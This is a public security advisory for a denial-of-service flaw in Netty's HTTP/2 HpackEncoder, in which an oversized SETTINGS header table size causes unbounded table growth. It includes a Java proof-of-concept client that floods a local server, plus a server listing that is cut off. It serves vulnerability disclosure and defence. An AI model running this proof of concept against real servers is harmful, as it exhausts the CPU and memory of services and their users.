HTTP/2 HpackEncoder DoS with large table size

A public GitHub Security Advisory (GHSA-8352-h356-c9qh) describes the following issue:

Summary A client can send SETTINGS with a very large MAXHEADERTABLESIZE to cause HpackEncoder to save all unique send headers. Those can accumulate over time and cause a CPU or memory DoS.

Details If a client sends SETTINGS with a very large MAXHEADERTABLESIZE, it is propagated directly through DefaultHttp2HeadersEncoder.maxHeaderTableSize() to HpackEncoder.setMaxHeaderTableSize(). HpackEncoder then uses the received value directly and will happily fill the table with every unique header sent by the server, eventually causing excessive O(n²) chain scanning in HpackeEncoder.getEntryInsensitive().

This was found when trying to produce a PoC for a memory DoS caused by retaining all unique header fields. I was expecting to get ~2 GiB of memory usage, but memory use was significantly less. I tracked that down to slowing QPS and then to the CPU DoS. The fix for both is the same: cap the table size, maybe as a function of arraySizeHint.

PoC java import io.netty.bootstrap.Bootstrap; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInboundHandlerAdapter; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2Settings; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamChannelBootstrap; import io.netty.handler.codec.http2.Http2StreamFrame; import io.netty.util.concurrent.Future;

import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger;

public final class Http2Client {

static final String HOST = "127.0.0.1"; static final int PORT = 8080;

public static void main(String[] args) throws Exception { // Configure client-sent HTTP/2 SETTINGS Http2Settings settings = Http2Settings.defaultSettings(); settings.headerTableSize(Integer.MAXVALUE);

EventLoopGroup group = new NioEventLoopGroup(1); try { Bootstrap b = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .remoteAddress(HOST, PORT) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast( Http2FrameCodecBuilder.forClient() .initialSettings(settings) .build(), new Http2MultiplexHandler(new ChannelInboundHandlerAdapter())); } });

Channel ch = b.connect().sync().channel(); AtomicInteger count = new AtomicInteger();

for (int i = 0; i < 10; i++) { startRpcs(ch, count); }

while (true) { Thread.sleep(1000); System.out.println("RPCs completed: " + count.getAndSet(0)); } } finally { group.shutdownGracefully(); } }

private static void startRpcs(Channel ch, AtomicInteger count) throws Exception { new Http2StreamChannelBootstrap(ch) .handler(new SimpleChannelInboundHandler<Http2StreamFrame>() { @Override protected void channelRead0(ChannelHandlerContext ctx, Http2StreamFrame msg) throws Exception { if (!(msg instanceof Http2HeadersFrame)) { System.out.println("Unexpected response frame: " + msg); return; } if (!((Http2HeadersFrame) msg).isEndStream()) { System.out.println("Surprising header response: " + msg); return; } count.incrementAndGet(); startRpcs(ch, count); } }) .open() .addListener((Future<Http2StreamChannel> f) -> { Http2Headers headers = new DefaultHttp2Headers() .method("GET") .path("/") .scheme("http"); f.getNow().writeAndFlush(new DefaultHttp2HeadersFrame(headers, true)); }); } } java import io.netty.bootstrap.ServerBootstrap; import io.netty.buffer.ByteBufUtil; import io.netty.channel.Channel; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInitializer; import io.netty.channel.EventLoopGroup; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioServerSocketChannel; import io.netty.handler.codec.http2.DefaultHttp2Headers; import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame; import io.netty.handler.codec.http2.Http2DataFrame; import io.netty.handler.codec.http2.Http2FrameCodecBuilder; import io.netty.handler.codec.http2.Http2Headers; import io.netty.handler.codec.http2.Http2HeadersFrame; import io.netty.handler.codec.http2.Http2MultiplexHandler; import io.netty.handler.codec.http2.Http2StreamChannel; import io.netty.handler.codec.http2.Http2StreamFrame;

import java.util.concurrent.ThreadLocalRandom;

public final class Http2Server { static final int PORT = 8080;

public static void main(String[] args) throws Exception { EventLoopGroup group = new NioEventLoopGroup(1); try { ServerBootstrap b = new ServerBootstrap() .group(group) .channel(NioServerS

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-8352-h356-c9qh